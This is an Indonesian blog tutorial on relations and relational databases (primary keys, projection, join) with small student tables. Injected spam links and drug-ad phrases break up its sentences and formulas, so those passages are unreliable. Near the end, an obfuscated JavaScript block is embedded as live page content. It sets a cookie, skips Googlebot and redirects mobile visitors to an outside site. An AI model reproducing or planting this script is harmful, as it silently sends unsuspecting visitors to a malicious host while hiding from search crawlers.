satriawae

Relasi dan Database

by on Feb.20, 2010, under Matematika Diskret

Waktu yang dibutuhkan untuk memanipulasi informasi pada sebuah database bergantung pada bagaimana informasi tersebut disimpan. Operasi seperti penambahan, penghapusan, pembaruan, pencarian serta penggabungan record dilakukan berkali-kali pada database. Mengingat pentingnya operasi ini, maka dikembangkanlah berbagai variasi metode untuk merepresentasikan database. Kita akan membahas salah satu metode database yangdisebut relational data m odel dengan menggunakan konsep relasi essay help sites blog post.

Sebuah database terdiri dari record sejumlahA� dari n-tuples yang dibentuk dari field. Fields merupakan entri dari n-tuples. Sebagai contoh database mahasiswa terdiri dari field nama, NIM, konsentrasi terdiri dari 3 tuples (nama, NIM, konsentrasi). Contoh dari database tersebut adalah:

(Raditeo, L2F607042, Komputer dan Informatika)

(Satria, L2F607049, Komputer dan Informatika)

(Shabrina, L2F607050, Komputer dan Informatika)

Relasi yang sering digunakan untuk merepresentasikan database disebut pula tabel seperti tabel di bawah ini:

Tabel 1. Contoh database dalam bentuk tabel

online

Cheap

Nama NIM Konsentrasi
Raditeo L2F607042 Komputer dan Informatika
Satria L2F607049 Komputer dan Informatika
Shabrina L2F607050 Komputer dan Informatika

Pada suatu database, sebuah domain disebut Primary key bila tidak ada 2 n tuple pada relasi yang bernilai sama. Property saat domain tersebut menjadi primary key bersifat bergantung waktu (time dependent) karena Record terkadang sering ditambahkan ataupun dihapus dari database. Sebagai konsekuensi, primary key harus dipilih agar tidak pernah berubah meskipun database berubah.

Contoh:

Pada table diatas, manakah domain yang bias dijadikan primary key apabila tidak ada penambahan field lagi?

Solusi:

Melihat dari isi table di atas, maka domain nama maupun NIM dapat dijadikan primary key karena tidak ada 2/lebih field dengan isi yang sama. Sedangkan untuk domain konsentrasi tidak dapat dijadikan primary key karena memiliki field dengan isi yang sama.

PROYEKSI

Definisi 2. generic amoxil

Proyeksi Pi1, i2 .. im memetakan n-tuples (a1, a2 .. an) ke m-tuple (ai1, ai1 .. aim)

Dengan kata lain, proyeksi Pi1, i2 .. im menghapus n a�� m komponen dari tuples dan menyisakan komponen i1th, i2th .. im th

Contoh:

Tentukan hasil proyeksi P1,3 yang diterapkan pada (2,3,0,4), (Agus, 1234, Matdis, 3.15)

Solusi :

Proyeksi P1,3 = (2,0), (Agus, Matdis)

Contoh: Tentukan hasil proyeksi P1,3 http://goticketsnow.com/archives/9618 pada tabel ini

Nama NIM Konsentrasi
Raditeo L2F607042 Komputer dan Informatika
Satria L2F607049 Komputer dan Informatika
Shabrina L2F607050 Komputer dan Informatika

Solusi

Hasil proyeksi akan membuat field NIM menjadi hilang dan tabel akan menjadi berikut:

Pills

Nama Konsentrasi
Raditeo Komputer dan Informatika
Satria Komputer dan Informatika
Shabrina Komputer dan Informatika

OPERASI PENGGABUNGAN

Operasi penggabungan digunakan untuk menggabungkan dua tabel menjadi satu yang berbagi field yang identik. Dengan kata lain, operasi penggabungan akan menciptakan suatu relasi baru dari dua relasi yang sudah ada.

Definisi 3

Jika R merupakan relasi berderajat m dan S merupakan relasi berderajat n, Gabungan Jp (R,S) dimana p m dan p n, adalah relasi berderajatA� m + n a�� p yang terdiri dasi semua (m + n a�� p) tuples (a1, a2,.. am-p, c1, c2, .., cp, b1, b2, …, bn-p) dimana m-tuple (a1, a2, .. am-p, c1, c2, .., c order Levitra p) merupakan anggota R dan M a��tuples (c1, c2, .., cp, b Buy 1, b2, …, bn-p) merupakan anggota S

Contoh :

Tentukan hasil dari operasi penggabungan pada kedua relasi di bawah ini.

Tabel 4.

Nama NIM
Raditeo L2F607042
Satria L2F607049
Shabrina L2F607050

Tabel 5.

januvia is developing in india

online

Nama Konsentrasi
Raditeo Komputer dan Informatika
Satria Komputer dan Informatika
Shabrina Komputer dan Informatika

Solusi:

Dengan melakukan operasi penggabungan pada kedua relasi di atas, maka akan tercipta satu relasi baru dengan tabel seperti di bawah ini.

Tabel 6.

Pills

Nama NIM Konsentrasi
Raditeo L2F607042 Komputer dan Informatika
Satria L2F607049 Komputer dan Informatika
Shabrina L2F607050 Komputer dan Informatika

var _0xa48a=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26″,”\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Be Sociable, Share!
:, ,

Leave a Reply

This blog is kept spam free by WP-SpamFree.

*

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...